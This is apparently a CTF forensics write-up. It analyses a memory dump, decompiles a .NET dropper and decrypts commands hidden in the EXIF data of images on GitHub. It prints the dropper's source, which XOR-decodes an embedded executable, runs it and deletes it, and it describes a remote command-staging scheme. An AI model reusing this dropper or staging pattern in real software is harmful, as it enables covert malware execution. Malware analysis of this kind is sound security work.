Swiss Hacking Challenge 2023 - meme review
Information
Challenge category: forensics
Challenge Description
WARNING: THIS IS ACTIVE MALWARE WHICH CAN HARM YOUR COMPUTER. EXECUTE AT OWN RISK! My computer is always sooooooo slow and our IT department said that my computer from 2004 is almost brand new and it could do a few years more. Well I decided to taking matters into my own hands and just install more ram from the internet. Now the security dudes told my that im browsing some nice memes on github, but the memes are a little sus. I have no idea what a github is and what memes I was watching. Can you help me out and find out what they mean? (Hint: Use
Win10x86_19041
)
Files
We are given an image.zip
file. In the beginning, it is unclear what file this is.
The hint however gives away, what the file is; if you google for Win10x86_19041
, you find GitHub issues for Volatility, a tool for memory dump analysis. The file image.raw
inside of the Archive is indeed a memory dump.
Analysis
Extracting the executable
We download volatility:
$ git clone https://github.com/volatilityfoundation/volatility3
$ cd volatility3
$ git checkout v2.4.0
We can then analyze the running processes in the file
$ ./vol.py -f image.raw windows.pslist
The following line looks suspicious:
3044 3568 install_ram.ex 0xa5ca6840 11 - 1 False 2023-01-20 20:18:45.000000 N/A Disabled
We dump the exe of the process:
$ mkdir dump
$ /vol.py -f image.raw -o dump windows.dumpfiles --pid 3044
Our exe file is probably the file.0xab986c10.0xa6304a00.ImageSectionObject.install_ram.exe.img
, when running strings
over it we see the following at the end:
_CorExeMain
mscoree.dll
We’re dealing with a .NET app.
Decompiling the .NET app
We can use ILSpy to decompile the app into .NET source code.
I won’t go into how to install ILSpy due to it being a PITA but the README explains everything.
Once in ILSpy, we can load the exe:
The full source code of the file is as follows:
// LegitBuild
using System;
using System.Diagnostics;
using System.IO;
using System.Threading;
private static void Main(string[] args)
{
int[] array = new int[6656]
{
77, 90, 144, 0, 3, 0, 0, 0, 4, 0,
0, 0, 255, 255, 0, 0, 184, 0, 0, 0,
0, 0, 0, 0, 64, 0, 0, 0, 0, 0,
// This goes on for a long long time but I didn't want to fill 14 pages with numbers.
};
for (int i = 0; i <= 255; i++)
{
for (int j = 0; j <= 255; j++)
{
string text = "";
int num = 0;
for (num = 0; num <= array.Length - 1; num++)
{
int num2 = array[num] ^ j;
char c = (char)num2;
text += c;
}
if (text.Contains("!This program cannot be run in DOS mode."))
{
Console.WriteLine(num);
string text2 = "C:\\temp\\legit-svc.exe";
BinaryWriter binaryWriter = new BinaryWriter(new FileStream(text2, FileMode.Create));
binaryWriter.Write(text);
binaryWriter.Close();
Process.Start(text2);
File.Delete(text2);
Thread.Sleep(50000);
Environment.Exit(0);
}
}
}
}
The code above brute-forces the number every element was XORed with, once it has found it (by comparing if it contains a line of text) it saves the decrypted text to a file, executes and deletes it.
Extracting the second binary
We can modify the .NET code to save us the binary by modifying the end of it:
< string text2 = "C:\\temp\\legit-svc.exe";
---
> string text2 = "/tmp/virus.exe";
699,702d698
< Process.Start(text2);
< File.Delete(text2);
< Thread.Sleep(50000);
We can then compile the .NET code:
$ mcs -out:ram.exe ram.cs
$ ./ram.exe
Note: I had to add an enclosing
class Virus {}
around the main function asmcs
wouldn’t compile without it.
We can then access our virus at /tmpt/virus.exe
.
Analyzing the second binary
Even though I tried, I could not decompile the weird 16-Bit executable that was created by the .NET program. So instead I tried running strings
over the file and searching for useful things.
The following part looked interesting:
pleasenorunhttps://raw.githubusercontent.com/00xNULL/meme_review/main/meme.jpgCMD.exe/C && pause
The (https://raw.githubusercontent.com/00xNULL/meme_review/main/meme.jpg)[https://raw.githubusercontent.com/00xNULL/meme_review/main/meme.jpg] leads us to a GitHub repo containing the same meme with multiple revisions in the git history.
Reviewing the memes
There are four revisions of the meme, when looking at them with exiftool
, we see the following data for each of them:
Latest commit:
Make : YklwRWJKb2Vvelc5ZStIek1sdXJkWmRzeUx \
wc2x2cVhxSVlZZWRsVzhlT2JaR2FuaWFCTmhsSmtVN1pZUWFCa1FLMkV6eXErRkxSTTVH \
MnZibXovMlpNTUV0eitab1lLSGkxdGZ6cUpLYXR6OURPdy9GM0FhSDZMZUFKWjB2bGs=
Camera Model Name : lettuce
Second-latest commit:
Make : TVAwRHIwcGNkZmhZajJmek1kUWUvWjZWcE5 \
RR283YVVESEMzRERtb0cxWHZXSG0vN1BlN2lPSCt3c3d0dHlRSkR2YXF2ZFBYdXBnNzdh \
3FWMHFLcXphN05meWRmY3VFZVVnck85TEpSTEErZ0c3eWhLV3cyQk5lTkVPbTh2WDlBZU \
tTdWNDVVVRQlh1VkM5L0w0dmFsdkpQWGVWQU5ZalgzTHlKSHQ0UjV3PQ==
Camera Model Name : reeeeeeeeeee
Second-oldest commit:
Make : bDkxZENDb3B2RkFHS3Y2aHN2L282c3hiM3F \
EVDQveGhySlR5NXE5RGttWWcyUHkwSG11TExXQkw4ZEcxalcwNlk0SlY4RWNzT1BUMVpU \
b1BObEIxTXpVNjY2a0lCZUF5OFk1SVA5R2ppYWpraVVHMTVQL3puYW5MSGlCdVQyK3o=
Camera Model Name : lasagne
Oldest commit:
Make : WkpYd3hoQUlMOFArL01wWGx5cVBkOVRBTi9 \
xMENjbllvUVNxUFBYVGZ1MVMxZ1k5eU1JS2lBTTJWcE0yUmtINUxuK2FtbTkyVUk3RHdZ \
Um8yenVLZUtIUUk3WEYveEZHWC9Hd1M3TXl1R042NVYwZ2NqVHFFSkdpSTJyUFlDSkI=
Camera Model Name : nanananana_batmaaaaaan
The Make
value is encrypted with Base64 twice and results in some binary gibberish. Probably we have some encryption and the Camera Model Name
is the decryption key.
Decrypting the memes
The strings
output also contained the following strings:
System.Security.CryptographyDeriveBytes
GetBytesRfc2898
RijndaelManaged
Generate256BitsOfRandomEntropy
Also, there is yet another mscoree.dll
at the end, which should mean it’s also .NET/C#
After a bit of googling on these terms, I found this amazing StackOverflow article: https://stackoverflow.com/questions/10168240/encrypting-decrypting-a-string-in-c-sharp
The first answer has an amazing example which I used to decrypt the memes; here is my decryption script that is based off it:
using System;
using System.Text;
using System.Security.Cryptography;
using System.IO;
using System.Linq;
namespace EncryptStringSample
{
public static class StringCipher
{
private const int Keysize = 256;
private const int DerivationIterations = 1000;
public static string Decrypt(string cipherText, string passPhrase)
{
var cipherTextBytesWithSaltAndIv = Convert.FromBase64String(cipherText);
var saltStringBytes = cipherTextBytesWithSaltAndIv.Take(Keysize / 8).ToArray();
var ivStringBytes = cipherTextBytesWithSaltAndIv.Skip(Keysize / 8).Take(Keysize / 8).ToArray();
var cipherTextBytes = cipherTextBytesWithSaltAndIv.Skip((Keysize / 8) * 2).Take(cipherTextBytesWithSaltAndIv.Length - ((Keysize / 8) * 2)).ToArray();
using (var password = new Rfc2898DeriveBytes(passPhrase, saltStringBytes, DerivationIterations))
{
var keyBytes = password.GetBytes(Keysize / 8);
using (var symmetricKey = new RijndaelManaged())
{
symmetricKey.BlockSize = 256;
symmetricKey.Mode = CipherMode.CBC;
symmetricKey.Padding = PaddingMode.PKCS7;
using (var decryptor = symmetricKey.CreateDecryptor(keyBytes, ivStringBytes))
{
using (var memoryStream = new MemoryStream(cipherTextBytes))
{
using (var cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Read))
using (var streamReader = new StreamReader(cryptoStream, Encoding.UTF8))
{
return streamReader.ReadToEnd();
}
}
}
}
}
}
private static byte[] Generate256BitsOfRandomEntropy()
{
var randomBytes = new byte[32]; // 32 Bytes will give us 256 bits.
using (var rngCsp = new RNGCryptoServiceProvider())
{
rngCsp.GetBytes(randomBytes);
}
return randomBytes;
}
}
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Enter ciphertext: ");
string plaintext = Console.ReadLine();
Console.WriteLine("Password plz: ");
string password = Console.ReadLine();
Console.WriteLine("");
Console.WriteLine("Your decrypted string is:");
string decryptedstring = StringCipher.Decrypt(plaintext, password);
Console.WriteLine(decryptedstring);
Console.WriteLine("");
}
}
}
Flag
We can now decrypt all the images and one of them contained the flag:
echo shc2023{y0u_succ3ssfuly_revi3wed_th3_m3m3s}
The other images contained echo lasagne
, net use
and whoami
.
Conclusion
This was a tough one.
Apart from it being 3 challenges smashed into a single one (Volatility, .NET and the meme part), I spent way too much even figuring out what I had to do with the image.raw
file as I’ve never used volatility before. Also I’m sure there would’ve been a way of decompiling the 16-Bit executable instead of searching on StackOverflow. Learned a lot though, would do again.